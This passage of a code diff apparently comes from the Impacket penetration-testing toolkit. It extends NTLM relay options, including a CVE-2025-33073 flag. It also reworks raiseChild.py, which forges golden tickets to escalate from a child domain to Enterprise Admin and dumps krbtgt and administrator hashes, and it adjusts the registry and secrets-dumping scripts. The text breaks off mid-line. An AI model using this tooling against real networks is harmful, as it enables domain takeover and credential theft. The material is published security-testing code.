-335,10 +346,12 @@ def stop_servers(threads): 'before serving a WPAD file. (default=1)') parser.add_argument('-6','--ipv6', action='store_true',help='Listen on IPv6') parser.add_argument('--remove-mic', action='store_true',help='Remove MIC (exploit CVE-2019-1040)') + parser.add_argument('--remove-sign-seal', action='store_true', help='Remove SIGN/SEAL-related NTLM negotiate flags (exploit CVE-2025-33073)') parser.add_argument('--serve-image', action='store',help='local path of the image that will we returned to clients') parser.add_argument('-c', action='store', type=str, required=False, metavar = 'COMMAND', help='Command to execute on ' 'target system (for SMB and RPC). If not specified for SMB, hashes will be dumped (secretsdump.py must be' ' in the same directory). For RPC no output will be provided.') + parser.add_argument('--mssql-db', action='store', required = False, help='Database for MSSQL relay') #SMB arguments smboptions = parser.add_argument_group("SMB client options") @@ -408,6 +421,7 @@ def stop_servers(threads): adcsoptions.add_argument('--adcs', action='store_true', required=False, help='Enable AD CS relay attack') adcsoptions.add_argument('--template', action='store', metavar="TEMPLATE", required=False, help='AD CS template. Defaults to Machine or User whether relayed account name ends with `$`. Relaying a DC should require specifying `DomainController`') adcsoptions.add_argument('--altname', action='store', metavar="ALTNAME", required=False, help='Subject Alternative Name to use when performing ESC1 or ESC6 attacks.') + adcsoptions.add_argument('--enum-templates', action='store_true', required=False, help='Enumerate enabled AD CS templates that the relayed account has access to') # Shadow Credentials attack options shadowcredentials = parser.add_argument_group("Shadow Credentials attack options") @@ -518,6 +532,12 @@ def stop_servers(threads): if not options.no_rpc_server: RELAY_SERVERS.append(RPCRelayServer) + + if not options.no_mssql_server: + RELAY_SERVERS.append(MSSQLRelayServer) + + if not options.no_rdp_server: + RELAY_SERVERS.append(RDPRelayServer) if targetSystem is not None and options.w: watchthread = TargetsFileWatcher(targetSystem) diff --git a/examples/owneredit.py b/examples/owneredit.py index cb9c78a5cb..a4b3edb844 100644 --- a/examples/owneredit.py +++ b/examples/owneredit.py @@ -145,7 +145,7 @@ def __init__(self, ldap_server, ldap_session, args): self.ldap_session.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(_lookedup_owner), attributes=['objectSid']) elif self.new_owner_DN is not None: _lookedup_owner = self.new_owner_DN - self.ldap_session.search(self.domain_dumper.root, '(distinguishedName=%s)' % _lookedup_owner, attributes=['objectSid']) + self.ldap_session.search(_lookedup_owner, '(distinguishedName=%s)' % _lookedup_owner, attributes=['objectSid']) try: self.new_owner_SID = format_sid(self.ldap_session.entries[0]['objectSid'].raw_values[0]) logging.debug("Found new owner SID: %s" % self.new_owner_SID) @@ -201,7 +201,7 @@ def search_target_principal_security_descriptor(self): self.ldap_session.search(self.domain_dumper.root, '(objectSid=%s)' % _lookedup_principal, attributes=['nTSecurityDescriptor'], controls=controls) elif self.target_DN is not None: _lookedup_principal = self.target_DN - self.ldap_session.search(self.domain_dumper.root, '(distinguishedName=%s)' % _lookedup_principal, attributes=['nTSecurityDescriptor'], controls=controls) + self.ldap_session.search(_lookedup_principal, '(distinguishedName=%s)' % _lookedup_principal, attributes=['nTSecurityDescriptor'], controls=controls) try: self.target_principal = self.ldap_session.entries[0] logging.debug('Target principal found in LDAP (%s)' % _lookedup_principal) diff --git a/examples/raiseChild.py b/examples/raiseChild.py index 13c2fd7f53..2d471dcabb 100755 --- a/examples/raiseChild.py +++ b/examples/raiseChild.py @@ -86,7 +86,7 @@ from impacket.krb5 import constants from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS, KerberosError from impacket.krb5.asn1 import AS_REP, AuthorizationData, AD_IF_RELEVANT, EncTicketPart -from impacket.krb5.crypto import Key, _enctype_table, _checksum_table, Enctype +from impacket.krb5.crypto import _enctype_table, get_kerberos_key_for_enctype, get_matching_aes_key from impacket.dcerpc.v5.ndr import NDRULONG from impacket.dcerpc.v5.samr import NULL, GROUP_MEMBERSHIP, SE_GROUP_MANDATORY, SE_GROUP_ENABLED_BY_DEFAULT, SE_GROUP_ENABLED from pyasn1.codec.der import decoder, encoder @@ -99,9 +99,8 @@ from impacket.dcerpc.v5.nrpc import MSRPC_UUID_NRPC, hDsrGetDcNameEx from impacket.dcerpc.v5.lsat import MSRPC_UUID_LSAT, POLICY_LOOKUP_NAMES, LSAP_LOOKUP_LEVEL, hLsarLookupSids from impacket.dcerpc.v5.lsad import hLsarQueryInformationPolicy2, POLICY_INFORMATION_CLASS, hLsarOpenPolicy2 -from impacket.krb5.pac import KERB_SID_AND_ATTRIBUTES, PAC_SIGNATURE_DATA, PAC_INFO_BUFFER, PAC_LOGON_INFO, \ - PAC_CLIENT_INFO_TYPE, PAC_SERVER_CHECKSUM, \ - PAC_PRIVSVR_CHECKSUM, PACTYPE, PKERB_SID_AND_ATTRIBUTES_ARRAY, VALIDATION_INFO +from impacket.krb5.pac import KERB_SID_AND_ATTRIBUTES, PAC_INFO_BUFFER, PAC_LOGON_INFO, \ + PAC_CLIENT_INFO_TYPE, PACTYPE, PKERB_SID_AND_ATTRIBUTES_ARRAY, VALIDATION_INFO, sign_pac from impacket.dcerpc.v5 import transport, drsuapi, epm, samr from impacket.smbconnection import SessionError from impacket.nt_errors import STATUS_NO_LOGON_SERVERS @@ -135,6 +134,9 @@ class RemComResponse(Structure): lock = Lock() +class RetryableGoldenTicketError(Exception): + pass + class PSEXEC: def __init__(self, command, username, domain, smbConnection, TGS, copyFile): self.__username = username @@ -735,16 +737,27 @@ def __decryptSupplementalInfo(self, record, prefixTable=None): if len(plainText) < 24: plainText = None + kerberosKeys = { + 'aes128Key': None, + 'aes256Key': None, + } + if plainText: try: - userProperties = samr.USER_PROPERTIES(plainText) + _, propertyCount, propertiesData = samr.unpack_user_properties(plainText) except: # On some old w2k3 there might be user properties that don't # match [MS-SAMR] structure, discarding them return - propertiesData = userProperties['UserProperties'] - for propertyCount in range(userProperties['PropertyCount']): - userProperty = samr.USER_PROPERTY(propertiesData) + for _ in range(propertyCount): + try: + userProperty = samr.USER_PROPERTY(propertiesData) + except Exception: + logging.debug( + 'Malformed supplemental credential property, discarding the remaining data', + exc_info=True, + ) + return propertiesData = propertiesData[len(userProperty):] if userProperty['PropertyName'].decode('utf-16le') == 'Primary:Kerberos-Newer-Keys': propertyValueBuffer = unhexlify(userProperty['PropertyValue']) @@ -756,9 +769,13 @@ def __decryptSupplementalInfo(self, record, prefixTable=None): keyValue = propertyValueBuffer[keyDataNew['KeyOffset']:][:keyDataNew['KeyLength']] if keyDataNew['KeyType'] in self.KERBEROS_TYPE: - # Give me only the AES256 - if keyDataNew['KeyType'] == 18: - return hexlify(keyValue) + if keyDataNew['KeyType'] == int(constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value): + kerberosKeys['aes128Key'] = hexlify(keyValue) + elif keyDataNew['KeyType'] == int(constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value): + kerberosKeys['aes256Key'] = hexlify(keyValue) + + if kerberosKeys['aes128Key'] or kerberosKeys['aes256Key']: + return kerberosKeys return None @@ -867,7 +884,7 @@ def getCredentials(self, userName, domain, creds = None): crackedName['pmsgOut']['V1']['pResult']['cItems'], userName)) rid, lmhash, nthash = self.__decryptHash(userRecord, userRecord['pmsgOut']['V6']['PrefixTableSrc']['pPrefixEntry']) - aesKey = self.__decryptSupplementalInfo(userRecord, userRecord['pmsgOut']['V6']['PrefixTableSrc']['pPrefixEntry']) + kerberosKeys = self.__decryptSupplementalInfo(userRecord, userRecord['pmsgOut']['V6']['PrefixTableSrc']['pPrefixEntry']) except Exception as e: logging.debug('Exception:', exc_info=True) logging.error("Error while processing user!") @@ -876,26 +893,43 @@ def getCredentials(self, userName, domain, creds = None): self.__drsr.disconnect() self.__drsr = None + aes128Key = aes256Key = None + if kerberosKeys is not None: + aes128Key = kerberosKeys['aes128Key'] + aes256Key = kerberosKeys['aes256Key'] creds = {} creds['lmhash'] = lmhash creds['nthash'] = nthash - creds['aesKey'] = aesKey + creds['aes128Key'] = aes128Key + creds['aes256Key'] = aes256Key return rid, creds @staticmethod - def makeGolden(tgt, originalCipher, sessionKey, ntHash, aesKey, extraSid): + def _printKerberosKeys(domainName, targetUser, credentials): + for keyName, label in ( + ('aes256Key', 'aes256-cts-hmac-sha1-96s'), + ('aes128Key', 'aes128-cts-hmac-sha1-96s')): + if credentials.get(keyName): + print('%s/%s:%s:%s' % (domainName, targetUser, label, credentials[keyName].decode('utf-8'))) + + @staticmethod + def makeGolden(tgt, originalCipher, sessionKey, ntHash, extraSid, aes128Key=None, aes256Key=None): asRep = decoder.decode(tgt, asn1Spec = AS_REP())[0] # Let's extract Ticket's enc-data cipherText = asRep['ticket']['enc-part']['cipher'] cipher = _enctype_table[asRep['ticket']['enc-part']['etype']] - if cipher.enctype == constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value: - key = Key(cipher.enctype, unhexlify(aesKey)) - elif cipher.enctype == constants.EncryptionTypes.rc4_hmac.value: - key = Key(cipher.enctype, unhexlify(ntHash)) - else: - raise Exception('Unsupported enctype 0x%x' % cipher.enctype) + ticketAesKey = get_matching_aes_key(cipher.enctype, aes128_key=aes128Key, aes256_key=aes256Key) + try: + key = get_kerberos_key_for_enctype( + cipher.enctype, + nt_hash=ntHash, + aes128_key=aes128Key, + aes256_key=aes256Key, + ) + except ValueError as e: + raise RetryableGoldenTicketError(str(e)) # Key Usage 2 # AS-REP Ticket and TGS-REP Ticket (includes TGS session @@ -981,104 +1015,14 @@ def makeGolden(tgt, originalCipher, sessionKey, ntHash, aesKey, extraSid): else: raise Exception('PAC_LOGON_INFO not found! Aborting') - # Let's now clear the checksums - if PAC_SERVER_CHECKSUM in pacInfos: - serverChecksum = PAC_SIGNATURE_DATA(pacInfos[PAC_SERVER_CHECKSUM]) - if serverChecksum['SignatureType'] == constants.ChecksumTypes.hmac_sha1_96_aes256.value: - serverChecksum['Signature'] = b'\x00'*12 - else: - serverChecksum['Signature'] = b'\x00'*16 - else: - raise Exception('PAC_SERVER_CHECKSUM not found! Aborting') - - if PAC_PRIVSVR_CHECKSUM in pacInfos: - privSvrChecksum = PAC_SIGNATURE_DATA(pacInfos[PAC_PRIVSVR_CHECKSUM]) - privSvrChecksum['Signature'] = b'\x00'*12 - if privSvrChecksum['SignatureType'] == constants.ChecksumTypes.hmac_sha1_96_aes256.value: - privSvrChecksum['Signature'] = b'\x00'*12 - else: - privSvrChecksum['Signature'] = b'\x00'*16 - else: - raise Exception('PAC_PRIVSVR_CHECKSUM not found! Aborting') - - if PAC_CLIENT_INFO_TYPE in pacInfos: - pacClientInfoBlob = pacInfos[PAC_CLIENT_INFO_TYPE] - pacClientInfoAlignment = b'\x00' * (((len(pacClientInfoBlob) + 7) // 8 * 8) - len(pacClientInfoBlob)) - else: + if PAC_CLIENT_INFO_TYPE not in pacInfos: raise Exception('PAC_CLIENT_INFO_TYPE not found! Aborting') - # We changed everything we needed to make us special. Now let's repack and calculate checksums - serverChecksumBlob = serverChecksum.getData() - serverChecksumAlignment = b'\x00' * (((len(serverChecksumBlob) + 7) // 8 * 8) - len(serverChecksumBlob)) - - privSvrChecksumBlob = privSvrChecksum.getData() - privSvrChecksumAlignment = b'\x00' * (((len(privSvrChecksumBlob) + 7) // 8 * 8) - len(privSvrChecksumBlob)) - - # The offset are set from the beginning of the PAC_TYPE - # [MS-PAC] 2.4 PAC_INFO_BUFFER - offsetData = 8 + len(PAC_INFO_BUFFER().getData())*4 - - # Let's build the PAC_INFO_BUFFER for each one of the elements - validationInfoIB = PAC_INFO_BUFFER() - validationInfoIB['ulType'] = PAC_LOGON_INFO - validationInfoIB['cbBufferSize'] = len(validationInfoBlob) - validationInfoIB['Offset'] = offsetData - offsetData = (offsetData + validationInfoIB['cbBufferSize'] + 7) // 8 * 8 - - pacClientInfoIB = PAC_INFO_BUFFER() - pacClientInfoIB['ulType'] = PAC_CLIENT_INFO_TYPE - pacClientInfoIB['cbBufferSize'] = len(pacClientInfoBlob) - pacClientInfoIB['Offset'] = offsetData - offsetData = (offsetData + pacClientInfoIB['cbBufferSize'] + 7) // 8 * 8 - - serverChecksumIB = PAC_INFO_BUFFER() - serverChecksumIB['ulType'] = PAC_SERVER_CHECKSUM - serverChecksumIB['cbBufferSize'] = len(serverChecksumBlob) - serverChecksumIB['Offset'] = offsetData - offsetData = (offsetData + serverChecksumIB['cbBufferSize'] + 7) // 8 * 8 - - privSvrChecksumIB = PAC_INFO_BUFFER() - privSvrChecksumIB['ulType'] = PAC_PRIVSVR_CHECKSUM - privSvrChecksumIB['cbBufferSize'] = len(privSvrChecksumBlob) - privSvrChecksumIB['Offset'] = offsetData - #offsetData = (offsetData+privSvrChecksumIB['cbBufferSize'] + 7) /8 *8 - - # Building the PAC_TYPE as specified in [MS-PAC] - buffers = validationInfoIB.getData() + pacClientInfoIB.getData() + serverChecksumIB.getData() + \ - privSvrChecksumIB.getData() + validationInfoBlob + validationInfoAlignment + \ - pacInfos[PAC_CLIENT_INFO_TYPE] + pacClientInfoAlignment - buffersTail = serverChecksum.getData() + serverChecksumAlignment + privSvrChecksum.getData() + privSvrChecksumAlignment - - pacType = PACTYPE() - pacType['cBuffers'] = 4 - pacType['Version'] = 0 - pacType['Buffers'] = buffers + buffersTail - - blobToChecksum = pacType.getData() - - # If you want to do MD5, ucomment this - checkSumFunctionServer = _checksum_table[serverChecksum['SignatureType']] - if serverChecksum['SignatureType'] == constants.ChecksumTypes.hmac_sha1_96_aes256.value: - keyServer = Key(Enctype.AES256, unhexlify(aesKey)) - elif serverChecksum['SignatureType'] == constants.ChecksumTypes.hmac_md5.value: - keyServer = Key(Enctype.RC4, unhexlify(ntHash)) - else: - raise Exception('Invalid Server checksum type 0x%x' % serverChecksum['SignatureType'] ) - - checkSumFunctionPriv= _checksum_table[privSvrChecksum['SignatureType']] - if privSvrChecksum['SignatureType'] == constants.ChecksumTypes.hmac_sha1_96_aes256.value: - keyPriv = Key(Enctype.AES256, unhexlify(aesKey)) - elif privSvrChecksum['SignatureType'] == constants.ChecksumTypes.hmac_md5.value: - keyPriv = Key(Enctype.RC4, unhexlify(ntHash)) - else: - raise Exception('Invalid Priv checksum type 0x%x' % serverChecksum['SignatureType'] ) - - serverChecksum['Signature'] = checkSumFunctionServer.checksum(keyServer, 17, blobToChecksum) - privSvrChecksum['Signature'] = checkSumFunctionPriv.checksum(keyPriv, 17, serverChecksum['Signature']) - - buffersTail = serverChecksum.getData() + serverChecksumAlignment + privSvrChecksum.getData() + privSvrChecksumAlignment - pacType['Buffers'] = buffers + buffersTail + # We changed everything we needed to make us special. Now let's repack + # and calculate checksums through the shared PAC helper. + pacInfos[PAC_LOGON_INFO] = validationInfoBlob + pacType = sign_pac(pacInfos, aes_key=ticketAesKey, nt_hash=ntHash, infer_aes_signature_type=True) authorizationData = AuthorizationData() authorizationData[0] = noValue @@ -1091,12 +1035,15 @@ def makeGolden(tgt, originalCipher, sessionKey, ntHash, aesKey, extraSid): encodedEncTicketPart = encoder.encode(encTicketPart) cipher = _enctype_table[asRep['ticket']['enc-part']['etype']] - if cipher.enctype == constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value: - key = Key(cipher.enctype, unhexlify(aesKey)) - elif cipher.enctype == constants.EncryptionTypes.rc4_hmac.value: - key = Key(cipher.enctype, unhexlify(ntHash)) - else: - raise Exception('Unsupported enctype 0x%x' % cipher.enctype) + try: + key = get_kerberos_key_for_enctype( + cipher.enctype, + nt_hash=ntHash, + aes128_key=aes128Key, + aes256_key=aes256Key, + ) + except ValueError as e: + raise RetryableGoldenTicketError(str(e)) # Key Usage 2 # AS-REP Ticket and TGS-REP Ticket (includes TGS session @@ -1108,6 +1055,25 @@ def makeGolden(tgt, originalCipher, sessionKey, ntHash, aesKey, extraSid): return encoder.encode(asRep), originalCipher, sessionKey + @staticmethod + def _get_rc4_retry_cred(childCreds): + if childCreds['password']: + return { + 'lmhash': LMOWFv1(childCreds['password']), + 'nthash': NTOWFv1(childCreds['password']), + 'aesKey': None, + } + + return None + + @staticmethod + def _get_preferred_aes_key(creds): + return creds.get('aes256Key') or creds.get('aes128Key') + + @staticmethod + def _same_rc4_creds(leftCreds, rightCreds): + return leftCreds['lmhash'] == rightCreds['lmhash'] and leftCreds['nthash'] == rightCreds['nthash'] + def raiseUp(self, childName, childCreds, parentName): logging.info('Raising %s to %s' % (childName, parentName)) @@ -1121,42 +1087,58 @@ def raiseUp(self, childName, childCreds, parentName): rid, credentials = self.getCredentials(targetUser, childName, childCreds) print('%s/%s:%s:%s:%s:::' % ( childName, targetUser, rid, credentials['lmhash'].decode('utf-8'), credentials['nthash'].decode('utf-8'))) - print('%s/%s:aes256-cts-hmac-sha1-96s:%s' % (childName, targetUser, credentials['aesKey'].decode('utf-8'))) + self._printKerberosKeys(childName, targetUser, credentials) # 5) Create a Golden Ticket specifying SID from 3) inside the KERB_VALIDATION_INFO's ExtraSids array userName = Principal(childCreds['username'], type=constants.PrincipalNameType.NT_PRINCIPAL.value) TGT = {} TGS = {} - while True: + + # Build ordered list of end-to-end credential methods. Explicit key material goes first, + # then password, then an RC4 retry derived from the password if it would be distinct. + credAttempts = [] + explicitRc4Cred = None + if childCreds['aesKey']: + credAttempts.append(('AES', {'lmhash': '', 'nthash': '', 'aesKey': childCreds['aesKey']})) + if childCreds['nthash']: + explicitRc4Cred = {'lmhash': childCreds['lmhash'], 'nthash': childCreds['nthash'], 'aesKey': None} + credAttempts.append(('RC4', explicitRc4Cred)) + if childCreds['password']: + credAttempts.append(('password', {'lmhash': b'', 'nthash': b'', 'aesKey': None})) + passwordRc4Cred = self._get_rc4_retry_cred(childCreds) + if passwordRc4Cred is not None and ( + explicitRc4Cred is None or not self._same_rc4_creds(passwordRc4Cred, explicitRc4Cred)): + credAttempts.append(('password->RC4', passwordRc4Cred)) + if not credAttempts: + raise Exception('No credentials provided') + + for credType, cred in credAttempts: try: + logging.info('Trying %s for TGT request' % credType) tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, childCreds['password'], - childCreds['domain'], childCreds['lmhash'], - childCreds['nthash'], None, self.__kdcHost) + childCreds['domain'], cred['lmhash'], + cred['nthash'], cred['aesKey'], self.__kdcHost) + logging.info('TGT obtained using %s' % credType) except KerberosError as e: - if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value: - # We might face this if the target does not support AES (most probably - # Windows XP). So, if that's the case we'll force using RC4 by converting - # the password to lm/nt hashes and hope for the best. If that's already - # done, byebye. - if childCreds['lmhash'] == '' and childCreds['nthash'] == '': - from impacket.ntlm import compute_lmhash, compute_nthash - childCreds['lmhash'] = compute_lmhash(childCreds['password']) - childCreds['nthash'] = compute_nthash(childCreds['password']) - continue - else: - raise + if e.getErrorCode() in (constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value, + constants.ErrorCodes.KDC_ERR_PREAUTH_FAILED.value): + logging.warning('%s failed (error 0x%x), trying next method' % (credType, e.getErrorCode())) + continue else: raise - - # We have a TGT, let's make it golden - goldenTicket, cipher, sessionKey = self.makeGolden(tgt, cipher, sessionKey, credentials['nthash'], - credentials['aesKey'], entepriseSid + '-519') + try: + goldenTicket, goldenCipher, goldenSessionKey = self.makeGolden(tgt, cipher, sessionKey, + credentials['nthash'], entepriseSid + '-519', + aes128Key=credentials.get('aes128Key'), + aes256Key=credentials.get('aes256Key')) + except RetryableGoldenTicketError as e: + logging.warning('%s failed while building golden ticket (%s), trying next method' % (credType, e)) + continue TGT['KDC_REP'] = goldenTicket - TGT['cipher'] = cipher + TGT['cipher'] = goldenCipher TGT['oldSessionKey'] = oldSessionKey - TGT['sessionKey'] = sessionKey + TGT['sessionKey'] = goldenSessionKey - # We've done what we wanted, now let's call the regular getKerberosTGS to get a new ticket for cifs if self.__target is None: serverName = Principal('cifs/%s' % self.getMachineName(gethostbyname(parentName)), type=constants.PrincipalNameType.NT_SRV_INST.value) @@ -1164,29 +1146,31 @@ def raiseUp(self, childName, childCreds, parentName): serverName = Principal('cifs/%s' % self.__target, type=constants.PrincipalNameType.NT_SRV_INST.value) try: logging.debug('Getting TGS for SPN %s' % serverName) + print('[*] Golden ticket etype: %s (using %s child credentials)' % (goldenCipher.enctype, credType)) + print('[*] Requesting TGS for %s' % serverName) tgsCIFS, cipherCIFS, oldSessionKeyCIFS, sessionKeyCIFS = getKerberosTGS(serverName, - childCreds['domain'], None, - goldenTicket, cipher, - sessionKey) + childCreds['domain'], self.__kdcHost, + goldenTicket, goldenCipher, + goldenSessionKey) + TGT['cipher'] = goldenCipher + TGT['sessionKey'] = goldenSessionKey TGS['KDC_REP'] = tgsCIFS TGS['cipher'] = cipherCIFS TGS['oldSessionKey'] = oldSessionKeyCIFS TGS['sessionKey'] = sessionKeyCIFS break except KerberosError as e: - if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value: - # We might face this if the target does not support AES (most probably - # Windows XP). So, if that's the case we'll force using RC4 by converting - # the password to lm/nt hashes and hope for the best. If that's already - # done, byebye. - if childCreds['lmhash'] == '' and childCreds['nthash'] == '': - from impacket.ntlm import compute_lmhash, compute_nthash - childCreds['lmhash'] = compute_lmhash(childCreds['password']) - childCreds['nthash'] = compute_nthash(childCreds['password']) - else: - raise + if e.getErrorCode() in (constants.ErrorCodes.KDC_ERR_TGT_REVOKED.value, + constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value): + logging.warning('Golden ticket built from %s child credentials rejected (0x%x), trying next method' % ( + credType, e.getErrorCode())) + continue else: raise + else: + break + else: + raise Exception('Golden ticket was rejected with all available child credential methods') # 6) Use the generated ticket to log into the parent and get the krbtgt/admin info # 6) Use the generated ticket to log into the parent and get the target-user info @@ -1196,13 +1180,13 @@ def raiseUp(self, childName, childCreds, parentName): rid, credentials = self.getCredentials(targetUser, parentName, childCreds) print('%s/%s:%s:%s:%s:::' % ( parentName, targetUser, rid, credentials['lmhash'].decode('utf-8'), credentials['nthash'].decode('utf-8'))) - print('%s/%s:aes256-cts-hmac-sha1-96s:%s' % (parentName, targetUser, credentials['aesKey'].decode("utf-8"))) + self._printKerberosKeys(parentName, targetUser, credentials) ################ Get TargetUser credentials (Administrator credentials by default) logging.info('Target User account name is %s' % targetName) rid, credentials = self.getCredentials(targetName, parentName, childCreds) print('%s/%s:%s:%s:%s:::' % (parentName, targetName, rid, credentials['lmhash'].decode('utf-8'), credentials['nthash'].decode('utf-8'))) - print('%s/%s:aes256-cts-hmac-sha1-96s:%s' % (parentName, targetName, credentials['aesKey'].decode('utf-8'))) + self._printKerberosKeys(parentName, targetName, credentials) targetCreds = {} targetCreds['username'] = targetName @@ -1210,7 +1194,9 @@ def raiseUp(self, childName, childCreds, parentName): targetCreds['domain'] = parentName targetCreds['lmhash'] = credentials['lmhash'] targetCreds['nthash'] = credentials['nthash'] - targetCreds['aesKey'] = credentials['aesKey'] + targetCreds['aes128Key'] = credentials.get('aes128Key') + targetCreds['aes256Key'] = credentials.get('aes256Key') + targetCreds['aesKey'] = self._get_preferred_aes_key(credentials) targetCreds['TGT'] = None targetCreds['TGS'] = None return targetCreds, TGT, TGS @@ -1241,7 +1227,7 @@ def exploit(self): from impacket.smbconnection import SMBConnection s = SMBConnection('*SMBSERVER', self.__target) s.kerberosLogin(targetCreds['username'], '', targetCreds['domain'], targetCreds['lmhash'], - targetCreds['nthash'], useCache=False) + targetCreds['nthash'], targetCreds['aesKey'], useCache=False) if self.__command != 'None': executer = PSEXEC(self.__command, targetCreds['username'], targetCreds['domain'], s, None, None) @@ -1279,13 +1265,17 @@ def exploit(self): print("\tpython raiseChild.py childDomain.net/adminuser\n") print("\tthe password will be asked, or\n") print("\tpython raiseChild.py childDomain.net/adminuser:mypwd\n") - print("\tor if you just have the hashes\n") + print("\tor if you just have the NTLM hashes\n") print("\tpython raiseChild.py -hashes LMHASH:NTHASH childDomain.net/adminuser\n") - + print("\tor if you have the AES key (recommended for modern Windows Server 2019/2022/2025)\n") + print("\tpython raiseChild.py -aesKey childDomain.net/adminuser\n") + print("\tor combine both - AES will be tried first, RC4 used as fallback\n") + print("\tpython raiseChild.py -hashes LMHASH:NTHASH -aesKey childDomain.net/adminuser\n") + print("\tNote: AES keys can be obtained via: impacket-secretsdump -just-dc-user DOMAIN/username ...\n") print("\tThis will perform the attack and then psexec against target-exec as Enterprise Admin") - print("\tpython raiseChild.py -target-exec targetHost childDomainn.net/adminuser\n") + print("\tpython raiseChild.py -target-exec targetHost childDomain.net/adminuser\n") print("\tThis will perform the attack and then psexec against target-exec as User with RID 1101") - print("\tpython raiseChild.py -target-exec targetHost -targetRID 1101 childDomainn.net/adminuser\n") + print("\tpython raiseChild.py -target-exec targetHost -targetRID 1101 childDomain.net/adminuser\n") print("\tThis will save the final goldenTicket generated in the ccache target file") print("\tpython raiseChild.py -w ccache childDomain.net/adminuser\n") sys.exit(1) diff --git a/examples/reg.py b/examples/reg.py index 50f8be5a5e..40e8c0c504 100755 --- a/examples/reg.py +++ b/examples/reg.py @@ -186,7 +186,7 @@ def run(self, remoteName, remoteHost): if self.__action == 'QUERY': self.query(dce, self.__options.keyName) elif self.__action == 'ADD': - self.add(dce, self.__options.keyName) + self.add(dce, self.__options.keyName, self.__options.persistent) elif self.__action == 'DELETE': self.delete(dce, self.__options.keyName) elif self.__action == 'SAVE': @@ -256,9 +256,10 @@ def query(self, dce, keyName): # ans5 = rrp.hBaseRegGetVersion(rpc, ans2['phkResult']) # ans3 = rrp.hBaseRegEnumKey(rpc, ans2['phkResult'], 0) - def add(self, dce, keyName): + def add(self, dce, keyName, persistent): hRootKey, subKey = self.__strip_root_key(dce, keyName) + # READ_CONTROL | rrp.KEY_SET_VALUE | rrp.KEY_CREATE_SUB_KEY should be equal to KEY_WRITE (0x20006) if self.__options.v is None: # Try to create subkey subKeyCreate = subKey @@ -269,10 +270,19 @@ def add(self, dce, keyName): # Should I use ans2? + # Convert persistant flag into the relevant dwOption. + # dwOption 0 = Persistent + # dwOption 1 = Volatile + dwOption = 0x00000001 + if persistent is True: + dwOption = 0x00000000 + else: + print('[!] The created key is volatile and will not remain after a reboot. ') + ans3 = rrp.hBaseRegCreateKey( - dce, hRootKey, subKeyCreate, - samDesired=READ_CONTROL | rrp.KEY_SET_VALUE | rrp.KEY_CREATE_SUB_KEY - ) + dce, hRootKey, subKeyCreate, dwOptions=dwOption, + samDesired=READ_CONTROL | rrp.KEY_SET_VALUE | rrp.KEY_CREATE_SUB_KEY) + if ans3['ErrorCode'] == 0: print('Successfully set subkey %s' % ( keyName @@ -562,7 +572,7 @@ def __parse_lp_data(valueType, valueData): 'keyName must include a valid root key. Valid root keys for the local computer are: HKLM,' ' HKU, HKCU, HKCR.') add_parser.add_argument('-v', action='store', metavar="VALUENAME", required=False, help='Specifies the registry ' - 'value name that is to be set. Set to "" to write the (Defualt) value') + 'value name that is to be set. Set to "" to write the (Default) value') add_parser.add_argument('-vt', action='store', metavar="VALUETYPE", required=False, help='Specifies the registry ' 'type name that is to be set. Default is REG_SZ. Valid types are: REG_NONE, REG_SZ, REG_EXPAND_SZ, ' 'REG_BINARY, REG_DWORD, REG_DWORD_BIG_ENDIAN, REG_LINK, REG_MULTI_SZ, REG_QWORD', @@ -570,6 +580,8 @@ def __parse_lp_data(valueType, valueData): add_parser.add_argument('-vd', action='append', metavar="VALUEDATA", required=False, help='Specifies the registry ' 'value data that is to be set. In case of adding a REG_MULTI_SZ value, set this option once for each ' 'line you want to add.', default=[]) + add_parser.add_argument('--persistent', action='store_true', required=False, help='Specify that the created key is intended to be persistent ' + 'through reboot. Default is volatile key creation') # An delete command delete_parser = subparsers.add_parser('delete', help='Deletes a subkey or entries from the registry') diff --git a/examples/regsecrets.py b/examples/regsecrets.py index 5bab7b2f73..18138baeaf 100755 --- a/examples/regsecrets.py +++ b/examples/regsecrets.py @@ -123,7 +123,7 @@ def dump(self): if not self.__nosam: try: - self.__SAMHashes = SAMHashes(bootKey, remoteOps=self.__remoteOps, throttle=self.__throttle) + self.__SAMHashes = SAMHashes(bootKey, remoteOps=self.__remoteOps, history=self.__history, throttle=self.__throttle) self.__SAMHashes.dump() if self.__outputFileName is not None: self.__SAMHashes.export(self.__outputFileName) @@ -193,7 +193,7 @@ def cleanup(self): help='base output filename. Extensions will be added for sam, secrets and cached') group = parser.add_argument_group('display options') - group.add_argument('-history', action='store_true', help='Dump password history, and LSA secrets OldVal') + group.add_argument('-history', action='store_true', help='Dump password history (NTDS and SAM hashes), and LSA secrets OldVal') group = parser.add_argument_group('authentication') group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') diff --git a/examples/secretsdump.py b/examples/secretsdump.py index 168384eb1f..10317e06c7 100755 --- a/examples/secretsdump.py +++ b/examples/secretsdump.py @@ -175,6 +175,7 @@ def ldapConnect(self): def dump(self): try: + localDomainSid = None # Almost like LOCAL but create (and deletes it after finishing) a Shadow Snapshot at target and download SAM, SYSTEM and SECURITY from the SS. No Code Execution. # If specified, NTDS will be also downloaded and parsed (no code execution needed, in contrast to vssadmin method). Use it when targeting a DC. # Then, parse locally @@ -278,7 +279,7 @@ def dump(self): SAMFileName = self.__remoteOps.saveSAM() else: SAMFileName = self.__samHive - self.__SAMHashes = SAMHashes(SAMFileName, bootKey, isRemote=self.__isRemote, printUserStatus=self.__printUserStatus) + self.__SAMHashes = SAMHashes(SAMFileName, bootKey, isRemote=self.__isRemote,history=self.__history, printUserStatus=self.__printUserStatus, pwdLastSet=self.__pwdLastSet) self.__SAMHashes.dump() if self.__outputFileName is not None: self.__SAMHashes.export(self.__outputFileName) @@ -315,13 +316,22 @@ def dump(self): else: NTDSFileName = self.__ntdsFile + if NTDSFileName is not None: + try: + if self.__isRemote is True: + localDomainSid = self.__remoteOps.getDomainSid() + else: + 